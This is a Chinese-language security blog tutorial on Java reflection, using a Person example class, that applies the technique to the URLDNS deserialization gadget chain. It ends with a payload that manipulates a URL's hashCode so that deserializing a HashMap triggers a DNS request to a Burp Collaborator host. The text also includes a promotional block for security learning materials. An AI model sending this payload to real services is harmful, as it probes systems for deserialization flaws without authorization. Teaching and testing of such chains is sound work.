例項解析Java反射

例項解析Java反射

反射是大多數語言裡都必不可少的組成部分,物件可以透過反射獲取他的類,類可以透過反射拿到所有方法(包括私有),拿到的方法可以呼叫,總之透過“反射”,我們可以將Java這種靜態語言附加上動態特性。

什麼是反射

java的反射是指在執行狀態中,對於任意一個類都能夠知道這個類所有的屬性和方法,並且對於任意一個物件。

基本形式

public void execute(String className, String methodName) throws Exception {

Class clazz = Class。forName(className);

clazz。getMethod(methodName)。invoke(clazz。newInstance());

}

上面的例子中,我演示了幾個在反射極為重要的方法:獲取類的方法:

forName

例項化類物件的方法:

newInstance

獲取函式的方法:

getMethod

執函式的方法:

invoke

反射的作用:

讓Java具有動態性,修改已有物件的屬性,動態生成物件,動態呼叫方法,操作內部類和私有方法

在反序列化漏洞中的應用

定製需要的物件,透過invoke呼叫除了同名函式以外的函式,透過class類建立物件,引入不能序列化的類

java反射舉例

此處引用白日夢組長的例子,具體講解一下反射。

【——幫助網安學習,以下所有學習資料關注我,私信回覆“資料”獲取——】

① 網安學習成長路徑思維導圖

② 60+網安經典常用工具包

③ 100+SRC漏洞分析報告

④ 150+網安攻防實戰技術電子書

⑤ 最權威CISSP 認證考試指南+題庫

⑥ 超1800頁CTF實戰技巧手冊

⑦ 最新網安大廠面試題合集(含答案)

⑧ APP客戶端安全檢測指南(安卓+IOS)

先寫一個Person作為我們下面演示的原型類

public class Person {

private String name;

public int age;

public void act(){

System。out。println(“test”);

}

@Override

public String toString() {

return “Persion{” +

“name=‘” + name + ’\‘’ +

“, age=” + age +

‘}’;

}

public String getName() {

return name;

}

public void setName(String name) {

this。name = name;

}

public int getAge() {

return age;

}

public void setAge(int age) {

this。age = age;

}

public Person() {

}

public Person(String name, int age) {

this。name = name;

this。age = age;

}

}

獲取原型類

使用forName方法

Class c = Class。forName(“Person”);

在此也寫一種基於ClassLoader的動態類載入方式

this。getClass()。getClassLoader()。loadClass(“Person”);

從原型class裡面例項化物件

利用建構函式例項化

Constructor constructor = c。getConstructor(String。class,int。class);

Person p1 = (Person) constructor。newInstance(“abc”,22);

我們來逐行寫一下分析

Constructor constructor = c。getConstructor(String。class,int。class);

這一行是為了獲取原型類中過載的構造方法

public Person(String name, int age) {

this。name = name;

this。age = age;

}

對構造方法進行傳參例項化一個物件

Person p1 = (Person) constructor。newInstance(“abc”,22);

我們可以列印一下p1看一下返回結果

例項解析Java反射

獲取類裡面的屬性

private String name;

public int age;

public

Field ageField = c。getField(“age”);

ageField。set(p1,11);

例項解析Java反射

private

Field nameField = c。getDeclaredField(“name”);

nameField。setAccessible(true);

nameField。set(p1,“xinyuan”);

例項解析Java反射

獲取類方法

Method actmethod = c。getMethod(“act”,String。class);

actmethod。invoke(p1,“SKyMirror”);

getMethod 與上面的獲取建構函式類似,第一個引數是函式名,第二個是傳參的型別

invoke方法第一個傳入物件,第二個是傳入引數值

例項解析Java反射

利用URLDNS(反射)

這條鏈子算是反射的一個簡單應用。

利用點

URL這個類重寫了hashCode方法,導致在執行hashCode的時候,此利用點不能命令執行,但是會請求DNS,所以被用來驗證是否存在反序列化漏洞。

原始碼如下:

例項解析Java反射

例項解析Java反射

可以看到當我們呼叫一次hashCode方法,他會對傳進去的URL物件發起請求,即我們如果去DNSLOG申請一個地址,根據訪問來判斷是否成功執行了hashCode方法進而判斷是否執行了反序列化的操作。

URL這個類實現了java。io。Serializable,可以進行序列化的操作。

例項解析Java反射

因此,在這裡我們可以驗證一下我們上面的想法。

例項解析Java反射

例項解析Java反射

鏈子

這個鏈子也比較短,比較簡單,主要是利用HashMap來執行hashCode方法

HashMap實現了Serializable可以序列化,此處注意反序列化時HashMap的readObject方法

例項解析Java反射

我們跟進一下hash方法

例項解析Java反射

key引數可控,key又是由反序列化的時候生成的。在HashMap中用put傳入一個URL的物件,即可在反序列化的時候呼叫到此方法,從而觸發整個鏈子。

有一點需要注意,我們在序列化的時候,進行的put傳參會修改掉傳入的URL物件的hashCode的值,因為hashCode值不等於-1,從而導致無法正常觸發下面的方法,即無法觸發DNS請求。

例項解析Java反射

同時在正常put傳參的時候會執行一次DNS請求,所以我們在put傳參之前修改hashCode的值(不為-1就行),傳參之後修改hashCode為-1,在反序列化的時候就可以正常執行了。

payload如下

public static void main(String[] args) throws Exception{

HashMap hashMap = new HashMap<>();

URL u = new URL(“http://i2loelbsvarbmabqf89qi9k88zep2e。burpcollaborator。net/”);

Class c = u。getClass();

//在進行put方法傳參之前修改URL物件的hashCode值

Field hashcodeField = c。getDeclaredField(“hashCode”);

hashcodeField。setAccessible(true);

hashcodeField。set(u,123);

hashMap。put(u,123);

//修改URL物件的hashCode值為-1

hashcodeField。set(u,-1);

serialize(hashMap);

}

更多靶場實驗練習、網安學習資料,請訪問 合天網安實驗室。